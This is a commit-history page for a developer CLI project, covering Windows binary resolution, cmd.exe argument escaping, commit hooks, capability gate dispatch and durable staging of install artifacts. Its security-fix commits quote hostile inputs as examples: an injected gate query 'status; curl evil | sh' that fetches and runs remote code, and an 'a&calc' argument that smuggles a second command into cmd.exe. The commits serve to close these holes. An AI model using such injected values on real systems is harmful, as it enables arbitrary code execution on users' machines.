Commit Graph

322 Commits

Author SHA1 Message Date
Tom Boucher
ac1b6d679f enhance(#3618): fold fallow-runner onto the canonical binary resolver (epic #3411 Phase 2) (#3633)
* chore(#3618): fold fallow-runner onto the canonical binary resolver

Epic #3411 Phase 2. src/fallow-runner.cts was the fourth divergent
implementation of Windows binary resolution the epic enumerated —
candidateNames, isExecutableFile, findInPath, findInNodeModules, 40 lines.
All four are deleted; resolveFallowBinary is one seam call.

Two OPT-IN options were added to resolveExecutableBinary to make the fold
behavior-preserving, both defaulting off so Phase 1's callers are byte-identical:

  prependPaths      dirs searched before env.PATH, in order, through the
                    identical per-directory candidate logic. This expresses
                    node_modules/.bin-first precedence without env surgery —
                    the rejected alternative re-introduced the
                    spread-loses-the-proxy hazard the Windows lane caught in
                    Phase 1, at every future call site instead of once.
  requireExecutable POSIX-only accessSync(X_OK); a no-op on win32 where mode
                    bits do not mean execute. Opt-in rather than default
                    because unconditional X_OK breaks #3445's suite, which
                    stages candidates with plain writeFileSync and never sets
                    an exec bit — the repo bans chmod in tests — so every one
                    would resolve to null on POSIX.

Deliberate behavior change on Windows: fallow's prior candidate list ended in a
BARE fallow. The seam never tries a bare name there, so an extensionless file
beside fallow.cmd is no longer resolved. That is the fix, not a regression — the
extensionless file is npm's POSIX sh shim, which CreateProcess cannot run
(#3275). Rows 7 and 8 of the design record it.

Defect found while working, fixed inline: the resolution order was documented
BACKWARDS as PATH-then-.bin in structural-pre-pass.md, docs/INVENTORY.md and
four INVENTORY translations. The code has always been .bin first, and .bin first
is correct — a project-local tool should beat a global one. The archived
changeset is left alone as a historical record.

fallow-runner had no test file at all. tests/fallow-runner.test.cjs is new
(F1-F15) and the seam options are pinned by S1-S12 folded into the existing
dispatch suite. RED proven by execution: with both source files stashed and
build:lib re-run, 7 of 27 probe cases failed.

Refs #3411

* chore(#3618): backfill changeset pr number 3633

* fix(#3618): assert both platform contracts in F4 instead of a POSIX-only premise

Windows CI on #3633 failed F4. The test monkeypatched accessSync to throw and
asserted resolveFallowBinary returned null — but that premise, that the X_OK
check is consulted at all, is POSIX-only by design. requireExecutable is a
deliberate no-op on win32 because Windows mode bits do not mean execute, so the
staged fixture correctly resolved there.

40-design.md's negative-space section already states this carve-out verbatim.
The test contradicted the design it was written from: fixtures were made
platform-adaptive in the previous commit, and this assertion was left
platform-blind.

F4 now asserts BOTH contracts — null on POSIX, resolves on win32 — rather than
skipping either. A t.skip on one lane would have been green and would have left
the win32 carve-out unpinned by fallow's own entry point.

Audited every other row for the same class. F1-F3, F5, F6, F11-F15 hold on both
platforms; F7-F10 and S1-S12 inject platform explicitly and are unaffected. F4
was the only row with a single-platform premise.

The local probe runs on one platform and structurally cannot catch this, which
is why it was green — that limitation is now stated at the top of the probe so a
green probe is not mistaken for platform coverage. The win32 branch was proven
by injecting platform:'win32' with accessSync throwing and asserting it still
resolves.

Refs #3411

---------

Co-authored-by: sim <sim@local>
2026-08-18 15:32:57 -04:00
Tom Boucher
924f649f87 docs(#3625): record the spawn-library evaluation as ADR-3625 (#3632)
Spike outcome for #3625: evaluate cross-spawn / nano-spawn / execa against
the hand-rolled Windows binary resolution and cmd.exe mediation that epic
#3411 Phase 1 (PR #3621) is landing in the platform seam.

Verdict: stay hand-rolled, with revisit-if conditions recorded so the call
is not re-litigated in a future PR.

Evidence, per the issue's "Done when" list:

- Sync/async verdict per candidate. nano-spawn is async-only — settled by
  its own README, which lists "synchronous execution" among the features
  execa has and it does not. cross-spawn exposes `.sync`. execa exposes
  execaSync, which its own docs discourage.
- CVE-2024-27980 escaping verdict per candidate. None uses shell:true.
  cross-spawn independently arrives at the SAME mechanism the seam uses:
  cmd.exe /d /s /c with a pre-escaped line and windowsVerbatimArguments.
  That validates the seam's approach rather than superseding it.
- Maturity axes scored with measured data (registry metadata 2026-08-18,
  transitive footprint measured by install).

Two premises in the issue did not survive measurement, both recorded:

- The CRITICAL 167-symbol/53-file blast radius is a `direction:both`
  measurement, inflated by downstream callees. A call-shape change ripples
  to CALLERS: upstream at depth 15 is 14 symbols / 7 files, MEDIUM, and it
  terminates at depth 4. The decision does not rest on the CRITICAL figure.
- The cited vendoring precedent path does not exist; the real one is
  gsd-core/bin/lib/vendor/re2js.cjs.

Decisive against the only structurally-eligible candidate (cross-spawn):
it resolves process.cwd() first on Windows even when an explicit PATH is
supplied, calls process.chdir() during resolution, and keys escape depth on
a node_modules/.bin/*.cmd path regex of the same shape #3411 was filed to
delete. Adoption would also break execTool's observable not-found contract
across 53 dependent files.

Doc-only: docs/adr/** plus a root-level CONTEXT.md pointer. The CONTEXT.md
addition is a new line rather than an edit to the seam's glossary paragraph,
which PR #3621 rewrites wholesale — same-line edits would conflict on merge.
ADR index regenerated via scripts/gen-adr-index.cjs --write.

lint:ci exit 0; lint-docs-required and changeset/lint both run with
GITHUB_BASE_REF=next and report ok_no_user_facing_changes.

Closes #3625

Co-authored-by: sim <sim@local>
Co-authored-by: Claude Opus 5 <noreply@anthropic.com>
2026-08-18 14:24:45 -04:00
Tom Boucher
bf87dd4156 enhance(#3617): one canonical Windows binary resolver in the platform seam (epic #3411 Phase 1) (#3621)
* feat(#3411): one canonical Windows binary resolver in the platform seam

CONTEXT.md declares src/shell-command-projection.cts the single OS-facing seam,
but Windows binary resolution had grown four divergent implementations outside
it. #3445 folded two of them together — inside gsd-core/bin/gsd-tools.cjs, not
the seam — so the declaration stayed untrue and execTool still had no handling
at all.

Lift the resolver into the seam as resolveExecutableBinary, and export the half
that actually executes as projectSpawnInvocation: CreateProcess cannot run a
.cmd/.bat, so the cmd.exe mediation is inseparable from the lookup and splitting
them is how the copies accumulated. cmd.exe is invoked with an explicit argv
array, never shell:true — CVE-2024-27980's vector and Node 26's DEP0190.

execTool now resolves on win32. POSIX is a strict no-op by construction, which
matters: execTool rates CRITICAL blast radius (167 symbols, 53 files).
gsd-tools.cjs deletes its private scan and its private mediation and delegates.

Two semantics grown beyond #3445's resolver, both additive: a name already
carrying a PATHEXT-listed extension is tried as-is before the append loop, and a
suffix outside PATHEXT is not treated as an extension.

Refs #3411

* fix(#3411): keep mediating a declared .cmd that PATH resolution misses

Standards review caught a narrowing against the code this replaces. gsd-tools.cjs
computed `target = resolveSpawnBinary(binary) || binary` and keyed the shim test
on `target`, so a declared .cmd mediated whether or not PATH resolution found it.
That is load-bearing: resolveExecutableBinary scans PATH only, while `cmd.exe /c`
also finds a batch file in the current directory.

Mediation now keys on the target — resolved path, else declared name. The ENOENT
contract still holds for BARE unresolved names, which is the case it was written
for. P9/P10 pin both halves.

Spec review found E1/E2/E3/E5 promised by 50-test-matrix.md but never written;
added. E3 is the integration proof that the CVE-relevant mediation fires through
execTool, not only through projectSpawnInvocation in isolation.

Also adds the CONTEXT.md glossary entry for the seam's new resolution ownership
(a PR gate) and the changeset fragment.

Refs #3411

* fix(#3617): pass mediated cmd.exe arguments verbatim so metacharacters cannot inject

The isolated security pass found the mediation shape carried an argument-injection
surface. libuv's quote_cmd_arg force-quotes an argv element only when it contains
a space, tab, or quote — never for a cmd metacharacter — and cmd.exe re-parses
everything after /c. So an arg of a&calc arrived unquoted and cmd ran calc.
Node's own CVE-2024-27980 escaping cannot help: it fires only when the spawned
FILE is the .bat/.cmd, and here the file is cmd.exe.

Caret-escaping is not a fix. It is correct only when libuv does not quote, and
libuv quotes whenever the arg also contains a space — no per-arg transform is
right in both cases. So build the command line and pass it through verbatim, the
shape Rust's std adopted for the sibling CVE-2024-24576: one outer quote pair
that cmd /c strips, every token inside force-quoted, embedded quotes doubled.

An argument containing CR or LF is refused rather than mediated — a newline
cannot be represented in a Windows command line, so mediating would silently
truncate. Failing visibly is correct.

Known limit, documented at the seam: %VAR% still expands inside a /c string and
has no escape outside a batch file. That is information disclosure, not arbitrary
execution, and is the same limit Rust's std documents.

This was byte-for-byte the shape #3445 shipped, so the fix closes it for the
reviewer-lane spawn path too, not only for execTool's newly reachable route.

Refs #3411

* docs(#3617): document the subprocess-execution security posture

Adds Layer 4 to the security model: why GSD never uses shell:true for binary
invocation (CVE-2024-27980, Node 26 DEP0190), why resolution is explicit and
never tries the bare name on Windows (the npm extensionless-shim trap behind
#3275), and why .cmd/.bat mediation builds a verbatim force-quoted command line
rather than relying on default escaping — Node's own CVE protection cannot fire
once the started program is cmd.exe.

The residual %VAR% expansion limit is stated plainly under Trade-offs rather
than left implicit: it is information disclosure, not arbitrary execution, and
callers passing untrusted text to a Windows .cmd should not assume the value
arrives byte-identical.

Docs-only; no code change.

Refs #3411

* chore(#3617): backfill changeset pr number 3621

* fix(#3617): read PATH, PATHEXT and ComSpec case-insensitively

The Windows CI lane on #3621 failed E5, and the root cause was a defect in the
implementation, not the assertion.

Windows names the variable Path, not PATH. process.env is a case-insensitive
proxy, so process.env.PATH works — but execTool builds
{ ...process.env, ...opts.env } whenever a caller supplies opts.env, and
spreading discards the proxy while keeping the OS's actual casing. The exact-case
env['PATH'] lookup then returned undefined, the PATH scan saw zero segments,
resolution returned null, and the change degraded to precisely the spawn ENOENT
it exists to fix. ComSpec and PATHEXT had the same exposure.

#3445's tests never caught it because they pass uppercase keys explicitly, and
neither did the Linux remote runner — this is a defect only the Windows lane
could see.

_envGet resolves a variable by exact match first (so a canonical caller pays no
scan) and falls back to a case-insensitive sweep.

R23 and P16 pin it and were proven RED by execution: with the fix stashed and
build:lib re-run, R23 returned null and P16 returned the cmd.exe default.

R24 was rewritten because the first version was vacuous — it staged foo.CMD, so
the default PATHEXT already contained .CMD and it passed against the broken code
for the wrong reason. It now stages foo.XYZ, an extension absent from the
default, and carries a negative control asserting that dropping the Pathext key
yields null. Re-proven RED the same way.

E5's assertion was corrected alongside the fix: 'PATH' in options.env expressed
the wrong contract. It now checks case-insensitively for the key.

Refs #3411

* fix(#3617): execTool spawns the declared name unless mediation is required

The Windows full-test lane on #3621 failed tests/graphify.test.cjs — the python3
identity check asserted 'python3' and got the absolute resolved path
C:\hostedtoolcache\windows\Python\3.12.10\x64\python3.EXE instead.

Those tests are correct and the change was wrong. They pin a long-standing
contract — execTool spawns the program name it was given — by spying on
spawnSync's first argument, and routing every win32 call through the projected
invocation broke it.

Resolving a .exe buys nothing. libuv's CreateProcess path already performs
PATH + PATHEXT search, which is why spawning a bare 'node' has always worked on
Windows. The only case the OS genuinely cannot spawn is a .cmd/.bat. So execTool
now adopts the projection only when mediation actually happened —
windowsVerbatimArguments is exactly that flag — and otherwise passes the declared
program and args through untouched.

40-design.md already rejected gratuitous change for this reason: symmetry is not
worth a behavior change to 53 files that fixes nothing. That reasoning was
applied to POSIX and missed the win32 non-batch case. Rows 5 and 20 now record
it, and the CONTEXT.md glossary states the caller-choice rule.

deps.spawn deliberately still adopts the resolved path: its hasBinary probe
answers from the same resolver, so probe and spawn must agree on the exact file
(#3445). The asymmetry is now documented at both call sites rather than latent.

E7 pins the restored contract and was verified by executing execTool against a
monkeypatched spawnSync: python3 in, python3 spawned.

Refs #3411

---------

Co-authored-by: sim <sim@local>
2026-08-18 14:12:44 -04:00
Tom Boucher
fe64704ace enhance(#3588): add an opt-in commit_docs pre-commit hook (#3609)
* feat(#3588): add an opt-in commit_docs pre-commit hook

Final phase of epic #2292, scope narrowed to opt-in by maintainer decision:
default-on installation and the bin/install.js wiring it would have required
are explicitly out of scope.

Enabling is an explicit verb call. The hook is written to the repo's real hooks
dir resolved via git rev-parse --git-path hooks, so a linked worktree or
submodule whose .git is a FILE works rather than getting a literal .git/hooks
path. It refuses rather than overwrite a foreign pre-commit, refuses to delete
one it did not write, and refuses outright when core.hooksPath is already set --
a written-but-ignored hook is worse than a refusal. Ownership is detected by
marker presence, not byte-equality, so a user who appends a line does not make
it unrecognizable.

Deliberately NOT included: teaching cmdCheckCommit the per-phase commit_docs
tier. #3587 was still unmerged when this landed, and implementing precedence
against helpers that did not yet exist would have meant a second copy of the
resolution chain -- the divergence class this epic has spent three phases
fighting. That follows as its own change now that #3587 is on next.

The ordering constraint is recorded in the design doc: this must not merge
before #3587, or the hook would block a commit cmdCommit itself allows.

* fix(#3588): teach the commit_docs guard the per-phase tier and -z paths

Part 1, deferred until #3587 merged.

cmdCheckCommit read only project-level commit_docs, so once #3587 landed, a
phase with phase_commit_docs true under project false was ALLOWED by
query commit and BLOCKED by this guard -- and the hook shipped in this same
branch shells out to it. It now derives the staged phase via the single-owner
detectPhaseNumberFromFiles and resolves through #3587's own
resolveCommitDocsPolicy rather than a second precedence copy.

Also fixes a proven false negative in the harm direction. git diff --cached
--name-only C-style-quotes any path with non-ASCII or special characters, so a
staged .planning/cafe.md was emitted as a quoted string, failed
startsWith('.planning/'), and slipped past the guard entirely under
commit_docs:false. Reading with -z and splitting on NUL removes the quoting at
the source. The f.startsWith('.planning\\') branch was dead code under that
read -- git emits /-separated paths on every platform -- and is removed rather
than left implying coverage it never provided.

The earlier C7 test pinned the buggy behavior as intended; it now asserts the
file is detected and the commit refused.

Self-caught: the commit-docs-guard verb was wired into the routers by this
branch's earlier pass but missing from the top-level help listing.

* test(#3588): replace try/finally with t.after, add negative-routing cases

Standards review findings.

CONTRIBUTING bans try/finally inside a test body outright -- it masks failures
-- and B8 used one for worktree cleanup. Now t.after(), assertions unchanged.

The new commit-docs-guard command family had zero negative-routing coverage,
which CONTRIBUTING requires for any change to command dispatch. B11-B15 cover
no subcommand, unknown, empty string, whitespace-only and a flag-shaped value,
each asserting non-zero exit, a structured error, no stack trace, and -- the
one that matters for a command that writes into a user's repo -- that NO hook
is written in any of them.

Those tests were verified to fail when routeCommitDocsGuard's else-branch is
neutered, so they exercise the routing guard rather than any convenient error
path.

Also made two error() calls' control flow explicit with a return; they were
safe only because error() is typed never two files away.

* chore(#3588): backfill changeset pr number to 3609

* test(#3588): skip Windows-unrepresentable fixtures on win32

CI's Windows shards caught two of my own tests: fixtures whose filenames
contain a quote and a backslash. Both are illegal on Windows -- backslash is
the path separator, quote is invalid on NTFS -- so fixture creation failed
before any assertion ran.

Test-portability defect, not a production one. Those inputs cannot exist on
that platform, so the guard has nothing to detect there.

Both now check process.platform FIRST, before any fs or git call, and use
t.skip() rather than a bare return -- a bare return registers as a PASS and
would hide the gap it is meant to record. Each carries a comment saying the
input is unrepresentable rather than unverified, so nobody later re-enables it.

No padding added: the cafe.md case already exercises git's C-quoting path on
every platform, since non-ASCII names are legal on NTFS.

This is exactly the coverage the Linux-only remote matrix cannot provide, which
the PR body already stated -- CI's Windows shards are what caught it.

---------

Co-authored-by: sim <sim@local>
2026-08-18 00:25:32 -04:00
Tom Boucher
fba3b9c24f fix(#3559): dispatch every ship:pre capability gate, not two hardcoded capIds (#3608)
* test(3559): failing-first coverage for generic ship:pre gate dispatch

ship.md's preflight resolves every active ship:pre gate then enforces exactly two
hardcoded capability IDs, so a third-party capability's blocking gate is resolved,
evaluable, and silently dropped. These tests fail on that dispatch dead-end and
pin the generic evaluator contract the fix will drive.

* fix(3559): dispatch every ship:pre gate generically, not two hardcoded capIds

ship.md's preflight resolved every active ship:pre gate via render-hooks and then
enforced exactly two capability IDs — security and broken-windows. Every other
capId, including any third-party capability's blocking gate, was resolved,
evaluable, and silently dropped: a phase shipped past its own declared failing
gate with nothing evaluated and nothing warned.

Preflight now iterates every active kind=="gate" entry in array order, dispatching
by check shape through the generic evaluator (gsd_run check predicate, ADR-2008)
and honoring each gate's own blocking and onError — the contract execute:wave:post,
execute:post and plan:post already implement and references/loop-hook-dispatch.md
already specifies. docs/how-to/command-exit-zero-gate.md already documented ship:pre
as auto-dispatching, so this restores documented behavior rather than changing it.

security and broken-windows are retained verbatim as named specializations INSIDE
the loop, so their bespoke fail-closed reads are unchanged and every gate is visited
exactly once — no double-enforcement is representable.

Also corrects two CONTEXT.md predicates that described the hardcoded shape, and the
test file's header note claiming ship:pre has no runnable evaluator (stale since #2008).

Fixes #3559

* fix(3559): validate third-party gate checks in-context before any shell use

Adversarial + security review of the generic dispatch arm this PR introduces.

SECURITY (introduced by this PR): the new every-other-capId arm is the first path
on which a THIRD-PARTY capability manifest string reaches a shell at ship:pre —
before it, dispatch never left the two first-party arms. gates[].check is not one
of the four executable surfaces the install consent prompt discloses (hooks,
command modules, mcpServers, reviewer lanes), so a capability can be consented to
as declarative-only and still reach a shell here. An unvalidated check.query of
'status; curl evil | sh' would be interpolated straight into a command
substitution. The arm now carries the same in-context validation contract
loop-hook-dispatch.md already mandates for ref.command, and the predicate arm is
specified as a single argv element so an apostrophe cannot close the literal.

TESTS: the first-cut regression tests only asserted that the shared loop phrase and
the evaluator substrings co-occurred. A partial regression that kept the phrase but
deleted the default arm would have passed them. Added a structural assertion that a
distinguishable catch-all arm exists, comes after every named branch, and is where
the generic evaluator is actually invoked.

REFERENCE DRIFT: loop-hook-dispatch.md documented onError as skip/'fail', but the
generated registry, all 35 manifest declarations, and all four dispatch sites use
skip/halt — 'fail' appears nowhere. Corrected, since this PR newly cites that doc
as ship.md's authority.

Also notes the named-query arg convention's provenance (mirrors verify:pre verbatim;
no capability declares a ship:pre query gate today).

* fix(3559): close the same gate-check injection at all four sibling dispatch sites

Maintainer directed fixing the sibling sites inline rather than filing them.

The command-injection surface fixed at ship:pre is a FAMILY property, not a site
property: every workflow that interpolates a manifest-supplied check.query into a
shell command substitution has it. Root cause is in the contract, not the sites —
references/loop-hook-dispatch.md mandates in-context validation for step ->
ref.command and OMITS the same requirement for gate, so all four gate consumers
inherited an unstated rule.

Closed at the source (the reference's gate section now carries the rule) and at
every consumer:
  execute-phase.md  execute:wave:post, execute:post
  plan-phase.md     plan:post
  verify-work.md    verify:pre
  ship.md           ship:pre  (already hardened in a2d84a77)

TESTS: section 6 enumerates the family by DISCOVERY, not by a hardcoded list, so a
new dispatch site added later without the validation contract fails instead of
shipping — the same 'hardcoded list silently misses members' mistake #3559 itself
was. It asserts, per discovered site, that the charset is pinned, that validation is
specified as in-context, and that the rule appears BEFORE the interpolation it
guards (an executing agent reads top-down). A floor assertion fails the section if
the discovery regex ever stops matching, so it cannot pass vacuously. Two further
tests pin the reference's gate section and the halt/skip onError vocabulary.

Sizes all within tier caps: execute-phase 94378/98304, plan-phase 91008/98304,
verify-work 39488/61440, ship 38067/40960. Drift acks amended for each.

* fix(3559): fit the validation mandate under the frozen pre-phase-6 ceiling

The previous commit blew tests/claude-orchestration.test.cjs's frozen ADR-857
pre-phase-6 ceiling for execute-phase.md (93600): the file had only 209 bytes of
headroom and the inline validation paragraph added 987. That ceiling is a ratchet
proving Phase 6 extraction happened — raising it is never the answer.

Restructured so the RULE lives once, in the reference's gate section (charset,
in-context, single-argv, and the consent-surface rationale), and each of the five
dispatch sites carries a terse mandate plus a pointer to it. That is strictly better
than five verbatim restatements: this PR exists partly because the reference and its
implementations had already drifted apart on the onError vocabulary, and five copies
of a security rule is that same failure waiting to recur. execute-phase.md already
eagerly inlines the reference (@-form at its step-hook dispatch), so an executing
agent has the full rule in context regardless.

Also reclaimed genuinely duplicated bytes at the execute:post site, whose prose
restated both commands the fenced block immediately below already shows, and whose
tail restated the two-step contract that the execute:wave:post site spells out in
full.

Net sizes vs origin/next:
  execute-phase.md  93365  (-26, SHRINKS)  pre-phase-6 93600, margin 235 (was 209)
  plan-phase.md     90627  (+111)          tier cap 98304
  verify-work.md    39107  (+111)          tier cap 61440
  ship.md           36784  (+3058)         tier cap 40960

Because execute-phase.md now shrinks, its drift-ack entry was reverted — an ack that
is never consumed is reported as STALE and fails the check. The other three acks
carry corrected byte figures.

Tests follow the same split: section 6 asserts the mandate + pointer per discovered
site and the full rule in the reference; section 5's security test drops the inline
charset assertion it can no longer make of ship.md.

* fix(3559): repair an over-escaped regex in the security assertion

/loop-hook-dispatch\\.md/ matched a literal backslash before .md, so it could never
match and the [security] assertion failed on the remote runner even though the prose
it checks was correct. The over-escaping came from nesting a regex through a shell
string into a node -e script; the sibling literal in section 6, written via a quoted
heredoc, was unaffected.

The reason this reached the runner at all is that the local check re-typed the regex
by hand instead of executing the one in the file, so it validated a different pattern
than the test used. Replaced that habit with two harnesses that read the literals FROM
the source: one asserts every regex literal in the file matches something in the real
workflow/reference corpus (catching over-escaping generically), the other evaluates
the [security] and section-6 literals against their actual targets.

* chore(3559): backfill changeset PR number (#3608)

---------

Co-authored-by: sim <sim@local>
2026-08-17 22:28:05 -04:00
Tom Boucher
debeabd524 enhance(#3587): add a per-phase commit_docs override (#3601)
* feat(#3587): add a per-phase commit_docs override

Delivers epic #2292's second user story: commit an architecture phase's
artifacts while execution phases stay local. commit_docs was project-wide and
binary, so the only choices were all phases or none.

Shape is a config dynamic key phase_commit_docs.<phase-id>, following the 14
existing dynamicKeyPatterns precedents rather than inventing a PLAN.md
frontmatter spec -- which #2292 itself flags as becoming its own maintenance
surface.

Tier 1 resolves in cmdCommit, NOT in loadConfig: loadConfig has no phase
context and is called by nearly every command, so threading one through it to
serve a single caller would be a far larger blast radius for no gain. The phase
comes from detectPhaseNumberFromFiles, which cmdCommit already computes for
branch naming and which is already hardened against the #2539 project-code bug.

Suppression by the per-phase tier returns its own reason rather than reusing
skipped_commit_docs_false -- telling a user their project setting is false when
it is true would be actively misleading. Additive; the two existing reason
strings that agents/gsd-executor.md matches on are unchanged.

The manifest's phase-id pattern is a hand-copy of PHASE_NUMBER_TOKEN_SOURCE
because the manifest is hand-maintained JSON, so a behavioral parity test
asserts both surfaces accept and reject the same token shapes.

* fix(#3587): fold tests, close review findings, update reference docs

Fold: the new tests were added as their own file, which required loosening a
grandfathered lint-test-file-count bucket 5-to-6. A ratchet exists to go down
only. commit-docs-bypass.test.cjs is the established commit_docs test home and
already hosts two folded suites, so the tests fold there as a third block and
the allowlist is reverted untouched.

Standards review: CONTEXT.md and the test header both cited a
phase-commit-docs-manifest-parity.test.cjs that never existed; a repo-wide
sweep found a fourth stale cite in the schema manifest description. All four
now name the real location.

Spec review: the issue's Scope of changes named planning-config.md and
git-planning-commit.md and neither was touched. Both now document the four-tier
precedence and the new skip reason.

Security review, minor and unproven: detectPhaseNumberFromFiles returns the
FIRST matching path's phase, so a --files list spanning two phases resolves the
override against whichever comes first. That helper is hardened and widely used,
so it is not changed; the behavior is pinned by a named test and disclosed in
the design and user docs. A pinned behavior is not a bug; an unpinned surprise
is.

* chore(#3587): backfill changeset pr number to 3601

---------

Co-authored-by: sim <sim@local>
2026-08-17 21:59:40 -04:00
Tom Boucher
3ab0007164 enh(#2875): materialization primitives — durable user-artifact staging and descriptor-authoritative agents (#3600)
* fix(#2875): stage user artifacts durably across install wipes (#1874-F19)

preserveUserArtifacts held user files only in an in-memory Map across the
wipe, so any process death between preserve and restore lost them outright.

Seven call sites, not the four the issue records. Three of them never called
the helper at all - they open-coded the same read/wipe/write - so searching
for callers under-counted by construction; the extra sites were found by
sweeping for the pattern instead.

The worst is the mainline install path, where the crash window spans the
entire gsd-core tree copy rather than a single rmSync.

Adds src/user-artifact-staging.cts: durable on-disk staging with a record
written after the copies land as the commit point, plus recovery of orphaned
batches on the next run - without recovery the staged bytes survive but the
user's file is still gone, which would pass its own test while delivering
nothing.

Routes copyPreservingSymlink through installFs() so staging cannot bypass the
install fs seam, and reunites its symlink-safety docblock with the function it
documents.

Co-Authored-By: Claude Opus 5 <noreply@anthropic.com>

* docs(#2875): amend ADR-3574 with four claims disproved by implementation

Implementing Phase 6 disproved four statements the ADR rests on. The central
decision - no single materializer - is unaffected and stands.

Corrected: decision 3 was already satisfied, so nothing was extracted; the
agents-bypass runtime set omitted claude, kilo and opencode, and closing it
needed three new pieces of descriptor contract rather than proceeding on its
own terms; three of the four blockers the layout comment names were already
stale; and F19 is seven call sites, not four.

Records the generalizable lesson: the defect is the pattern of holding user
data in memory across a wipe, not the helper, so searching for callers of the
helper under-counts by construction.

Also resolves the ADR's open question on USER_OWNED_ARTIFACTS membership, and
notes that copyPreservingSymlink needed routing through the install fs seam
before it could be reused.

Co-Authored-By: Claude Opus 5 <noreply@anthropic.com>

* fix(#2875): close dangling-symlink blind spot and harden staging recovery

An adversarial review found the F19 staging work shipped red and unsafe.

Root cause, shared by two arbitrary-write findings: hasExistingSymlinkBetween
missed dangling symlinks in both its root check and its per-segment walk,
because it probed with existsSync, which is false for a link whose target does
not exist. Fixing only the new module would have reused a guard that was
itself blind. This guard protects the whole install tree.

Recovery no longer throws: it degrades per entry and per file, so one bad
batch cannot block the others. Previously an unrecoverable entry propagated
out of the first statement of install and uninstall, before the cleanup that
would have removed it - wedging the installer permanently.

Partial fs adapters now throw on any omitted method instead of silently
reaching the real filesystem, closing the trap that let a test poison list
pass while real IO happened.

Staged names must be flat, recovery refuses a dangling destination symlink,
and a batch whose recovery genuinely failed is no longer swept - it was
discarding the only durable copy of the file it had just failed to restore.

Replaces three tests that could not fail, including the one labelled negative
proof.

Known limitation, documented not closed: concurrent installs sharing a staging
key can still lose a batch. A real fix needs a cross-process lock.

Co-Authored-By: Claude Opus 5 <noreply@anthropic.com>

* enh(#2875): make the descriptor authoritative for the agents kind

Deletes the inline agent-staging loop in bin/install.js and the
_DESCRIPTOR_AGENTS_RUNTIMES set, so every runtime materializes agents from
its capability descriptor instead of an inline hostBehaviors dispatch.

Closing it needed three pieces of contract the descriptor pipeline never had,
all reducible to one missing input - per-agent resolution context: a
frontmatter-extensions step for claude's effort and disallowedTools, per-agent
model-override resolution for kilo and opencode, and a named branding
converter for hermes, whose rewrite data was already declared.

Seven runtimes were on the loop, not the six the design recorded - kimi-code
was found by a golden fixture, not by analysis. claude-local and kimi-code
both silently lost their agents mid-change; the fixtures caught both and the
cause was fixed rather than the fixtures regenerated.

A parity harness gates the migration: both pipelines over identical inputs,
byte-identical output including filenames, per runtime. It is demonstrated
red before being trusted. Surface and install paths converge for all seven,
which also fixes surface previously writing no agents for these runtimes.

Codex's config.toml strip stays put - it mutates host config, which no
descriptor kind models.

Also routes install-model-override-resolver and install-effort-resolver
through the install fs seam. Both leaked real filesystem IO from the install
call tree; the stricter adapter is what exposed them.

Co-Authored-By: Claude Opus 5 <noreply@anthropic.com>

* docs(#2875): record the agents-descriptor migration and correct the ADR count

The _DESCRIPTOR_AGENTS_RUNTIMES allow-list no longer exists, so the host
integration guide told readers to join a set that is gone. Replaces that with
what is now true - declare an agents entry and it installs, on the surface
path as well as install - and points anyone needing a per-agent transform at
the three extension points rather than at a new inline branch.

Corrects the ADR amendment: seven runtimes were on the inline loop, not six.
kimi-code was found by a golden fixture going red, not by reading. That is the
third short count this phase, all from enumerating by symbol or set membership
when the thing that matters is a behavior.

Adds the Changed changeset for the surface-path convergence.

Co-Authored-By: Claude Opus 5 <noreply@anthropic.com>

* docs(#2875): amend ADR-2866 - claude global always wrote agents on disk

The claude row's global=[skills] described what capability.json declared, not
what the installer wrote. bin/install.js's inline agent-staging loop was never
scope-gated and never consulted the descriptor, so a claude --global install
has always written agents/gsd-*.md.

Phase 6 closes the gap by deleting that loop and declaring agents on claude's
descriptor at global scope. On-disk bytes are unchanged - the golden fixtures
did not move, which is the evidence that the descriptor, not the installer,
was incomplete.

#2218 is unaffected: agents are not trigger-bearing, so the wider row does not
introduce a new shadowing case.

Records the warning that an incomplete descriptor is invisible while a second
code path silently does its work, and only surfaces when the two are forced
into agreement.

Co-Authored-By: Claude Opus 5 <noreply@anthropic.com>

* fix(#2875): close review findings across staging, agents and the parity harness

Two independent reviews of this branch found defects the local gates missed.

Security: a dangling symlink at a migration destination allowed writing
outside configDir - the same class this change claimed to close, missed at the
terminal write of the flow being added. The staging-root resolver threw as the
first statement of install and uninstall, so a hostile symlink bricked both,
and symlinked-configDir users lost uninstall as well as install; it now
degrades instead of aborting. Recovery gained a source-side symlink check and
now refuses a relative destDir, which resolved against cwd. Converter dispatch
gained a runtime allowlist - lint-time validation stopped mattering once this
branch promoted that dispatch from the surface path to real installs.

Correctness: claude --local --minimal exited 1 because the minimal profile
legitimately yields zero agents and the new path treated that as a failure.
cline --local silently lost its agents - its descriptor declared none while
the deleted loop wrote them unconditionally. The agents prune was widened to
any gsd-* entry and destroyed user files it never owned.

The parity harness, on which the migration's safety argument rested, drove a
synthetic registry and never byte-compared the shipped descriptors; two of its
trap rows could not fail. It now drives the real registry across 13
runtime-scope rows including kimi-code and cline-local, and its red-proof is
demonstrated by corrupting a live capability.json. Three goldens that had
encoded the cline regression as expected behavior were corrected.

Co-Authored-By: Claude Opus 5 <noreply@anthropic.com>

* fix(#2875): close findings from both mandated review engines

/security-review found the staging source-side walk honouring
GSD_ALLOW_SYMLINKED_DEST, an opt-in documented as relaxing only the write
destination. A symlinked files/ component dereferenced because
copyPreservingSymlink lstats the leaf only, so an intermediate link is
followed. The source walk no longer honours the opt-in; the destination check
still does.

/code-review spec axis found this branch had reintroduced its own bug:
migrateLegacyDevPreferencesToSkill's new symlink refusal threw unguarded after
the legacy dir was wiped and before the staged batch was restored, so a
planted symlink bricked uninstall permanently and orphaned the batch. Refusal
kept, abort removed.

kimi-code local silently lost its agents, the same class as the cline bug, and
the parity harness recorded that exclusion as intentional - the third test in
this branch to pin a regression as correct.

--minimal now creates an empty agents/ dir that never existed. Behaviour
restored rather than softening the changeset, so its byte-identical claim
stays true.

Standards axis: try/finally removed from twelve test bodies, fast-check
properties added for parseOwnerPid, boundary coverage at the grace window and
the ancestor-probe depth, a parity assertion for the staging-root helper
duplicated across two files, and the 8-deep config walk deduplicated.

Records 60-review.json with every finding and disposition from five passes,
including the smells left unfixed and why.

Co-Authored-By: Claude Opus 5 <noreply@anthropic.com>

* fix(#2875): prune stale agents unconditionally in minimal mode

The previous round stopped an empty agents/ directory being created when the
resolved profile yields no agents. That was implemented by skipping the agents
kind entirely, which also skipped its stale-agent prune - so a full to minimal
downgrade left stale gsd-* agents behind.

The deleted inline loop pruned unconditionally and only skipped writing. Those
